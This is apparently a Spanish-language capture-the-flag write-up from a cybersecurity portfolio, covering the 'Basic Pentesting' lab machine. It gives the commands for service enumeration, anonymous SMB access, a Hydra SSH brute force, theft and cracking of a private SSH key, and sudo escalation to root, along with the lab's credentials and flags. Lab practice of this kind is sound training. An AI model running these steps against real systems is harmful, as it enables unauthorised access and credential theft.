Portfolio de Ciberseguridad

Writeups de máquinas vulnerables

Basic Pentesting


Fase 1 — Enumeración

Fase 1.1 — Nmap Port Scan

Comando ejecutado:

nmap -sC -sV -oN basic_pentesting.nmap <TARGET_IP>

Puertos descubiertos:

Puerto Servicio
22/tcp OpenSSH 8.2p1 (Ubuntu)
80/tcp Apache httpd 2.4.41
139/tcp Samba smbd 4
445/tcp Samba smbd 4
8009/tcp Apache Jserv (AJP/1.3)
8080/tcp Apache Tomcat 9.0.7

fase1.1_nmap_scan.png


Fase 1.2 — Enumeración Web

Comando ejecutado:

gobuster dir -u http://<TARGET_IP> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html -t 50
gobuster dir -u http://<TARGET_IP>:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html -t 50

Directorios descubiertos puerto 80:

  • /development → Status 301 — Contiene archivos con información de usuarios
  • /server-status → Status 403

Directorios descubiertos puerto 8080 (Tomcat):

  • /manager → Panel de administración Tomcat (requiere credenciales)
  • /docs → Status 302
  • /examples → Status 302
  • RELEASE-NOTES.txt → Status 200

fase1.2_gobuster_80.png

fase1.2_gobuster_8080.png


Fase 1.3 — Revisión de /development

URLs visitadas:

http://<TARGET_IP>/development/
http://<TARGET_IP>/development/j.txt
http://<TARGET_IP>/development/dev.txt

Hallazgos:

  • j.txt → Kay avisa a Jan que su contraseña es débil y fue crackeada fácilmente
  • dev.txt → Kay menciona Apache Struts 2.5.12 y que SMB ha sido configurado
  • Usuarios identificados: jan y kay

fase1.3_development_index.png

fase1.3_j_txt.png

fase1.3_dev_txt.png


Fase 1.4 — Enumeración SMB

Comando 1 — Enum4linux:

# [MÁQUINA ATACANTE]
enum4linux -a <TARGET_IP>

fase1.4_enum4linux.png

Comando 2 — Conexión al share:

# [MÁQUINA ATACANTE]
smbclient //<TARGET_IP>/Anonymous -N

fase1.4_smb_anonymous.png

Comando 3 — Leer el archivo:

# [MÁQUINA ATACANTE]
cat staff.txt

fase1.4_staff_txt.png


Fase 2 — Foothold

Fase 2.1 — Fuerza Bruta SSH (Hydra)

Comando ejecutado:

hydra -l jan -P /usr/share/wordlists/rockyou.txt ssh://<TARGET_IP> -t 4 -V -f

Credenciales obtenidas:

  • Usuario: jan
  • Password: armando

fase2.1_hydra_jan.png


Fase 2.2 — Acceso SSH como jan

Comando ejecutado:

ssh jan@<TARGET_IP>
# Password: armando

Hallazgos:

  • Acceso exitoso como jan
  • Home de jan vacío, sin user.txt
  • Directorio /home/kay/ visible con archivos interesantes: pass.bak y .ssh/

fase2.2_ssh_jan.png

fase2.2_ssh_jan_ls-la.png


Fase 2.3 — Obtención de clave SSH de kay

Comando 1 — Leer la clave desde la máquina objetivo:

# [MÁQUINA OBJETIVO]
cat /home/kay/.ssh/id_rsa

Copiamos el contenido de la clave privada y la pegamos en un archivo nuevo en la máquina atacante:

# [MÁQUINA ATACANTE]
nano id_rsa_kay

Al intentar parsearla con ssh2john da error de formato por corrupción al copiar/pegar, por lo que la transferimos directamente via SCP:

Comando 2 — Transferencia via SCP:

# [MÁQUINA ATACANTE]
scp jan@<TARGET_IP>:/home/kay/.ssh/id_rsa id_rsa_kay
# Password: armando

chmod 600 id_rsa_kay

Hallazgos:

  • Clave privada RSA encriptada accesible desde jan
  • Transferida correctamente vía SCP

fase2.3_rsa_encriptada.png

fase2.3_scp_id_rsa.png


Fase 2.4 — Crackeo de passphrase (John)

Comando ejecutado:

# [MÁQUINA ATACANTE]
ssh2john id_rsa_kay > id_rsa_kay.hash
john id_rsa_kay.hash --wordlist=/usr/share/wordlists/rockyou.txt

Passphrase obtenida:

Usuario Passphrase
kay beeswax

fase2.4_john_passphrase.png


Fase 2.5 — Acceso SSH como kay

Comando ejecutado:

# [MÁQUINA ATACANTE]
ssh -i id_rsa_kay kay@<TARGET_IP>
# Passphrase: beeswax

Hallazgos:

  • Acceso exitoso como kay
  • Archivo pass.bak en el home de kay con contenido: heresareallystrongpasswordthatfollowsthepasswordpolicy$$
  • Este contenido es la User Flag

fase2.5_ssh_kay.png

fase2.5_pass_bak.png


Fase 3 — Escalada de Privilegios

Fase 3.1 — Escalada a Root

Acción técnica: Usar la contraseña obtenida de pass.bak para escalar a root via sudo.

Comando ejecutado:

# [MÁQUINA OBJETIVO]
sudo su
# Password: heresareallystrongpasswordthatfollowsthepasswordpolicy$$
whoami

fase3.1_sudo_root.png


Fase 3.2 — Root Flag

Comando ejecutado:

# [MÁQUINA OBJETIVO]
cat /root/flag.txt

fase3.2_root_flag.png

Gengar